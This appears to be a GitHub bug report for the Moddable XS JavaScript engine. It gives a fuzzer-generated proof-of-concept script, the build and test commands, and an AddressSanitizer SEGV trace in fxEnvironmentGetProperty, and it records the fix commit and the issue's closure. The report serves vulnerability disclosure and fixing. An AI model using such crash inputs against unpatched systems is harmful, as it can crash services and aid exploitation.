

New issue

Jump to bottom

over access(fxEnvironmentGetProperty) #585



rain6851 opened this issue on Feb 26, 2021 · 0 comments

Labels

fixed - please verify

rain6851 commented on Feb 26, 2021

Enviroment

operating system: ubuntu18.04
compile command: cd /pathto/moddable/xs/makefiles/lin
make
test command: ./xst poc

poc:

```
function getHiddenValue() {
  var obj = {};
  var nEmw = new RegExp(null);
  var oob = 'value';
  var fun = eval(str);
  nEmw = new Object();
  oob = Object.assign('0', Object(521));
  var str = 'new String(\\'')';
  var fun = eval(str);
  let protoWithIndexedAccessors = {};
  var j = [];
  Object.assign(obj, fun);
  var fun = eval(str);
  return obj;
}

function makeOobString() {
  var hiddenValue = getHiddenValue();
  var str = 'constructor';
  var extern_arr_vars = [];
  let i = 0;
  var ijkkkk = 0;
  str = ijkkkk < 100000;
  function helper(i) {
    let a = new Array();
    var extern_arr_vars = [];
    if (ijkkkk < 100000) {
      makeOobString(a, protoWithIndexedAccessors);
    }
    return a;
    var oobString = makeOobString();
  }
  var j = [];
  var fun = eval(str);
  Object(fun, hiddenValue);
  var oobString = helper();
  for (var ijkkkk = 0; ijkkkk < 100000; ++ijkkkk) {
    fun = makeOobString();
  }
  return oobString;
}

var oobString = makeOobString();
var oobString = makeOobString();
helper(oobString);
let protoWithIndexedAccessors = {};
```

description

ASAN:SIGSEGV

=====

==5974==ERROR: AddressSanitizer: SEGV on unknown address 0x7f3b90c5ec8a (pc 0x0000004cbf37 bp 0x7ffe0703b1f0 sp 0x7ffe0703b1c0 T0)

#0 0x4cbf36 in fxDebugThrow /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsDebug.c:784

#1 0x42068e in fxThrowMessage /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsAPI.c:1251

#2 0x655dea in fxEnvironmentGetProperty /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsType.c:1147

#3 0x5d5e64 in fxRunID /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:2133

#4 0x604ee7 in fxRunScript /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsRun.c:4708

#5 0x6fa9f9 in fxRunProgramFile /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:1369

#6 0x6ed74c in main /home/node/mmfuzzer/asan_moddable/moddable/xs/tools/xst.c:270


#7 0x7f4b855bd82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

#8 0x4146a8 in _start (/root/AFL/targets/moddable/xst+0x4146a8)

AddressSanitizer can not provide additional info.


SUMMARY: AddressSanitizer: SEGV /home/node/mmfuzzer/asan_moddable/moddable/xs/sources/xsDebug.c:784 fxDebugThrow

==5974==ABORTING

 **mkellner** pushed a commit that referenced this issue on Mar 15, 2021

XS: [#585](#)

ef5216c

 **phoddie** added the `fixed - please verify` label on Mar 15, 2021

phoddie closed this as completed on Mar 23, 2021

Assignees

No one assigned

Labels

`fixed - please verify`

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

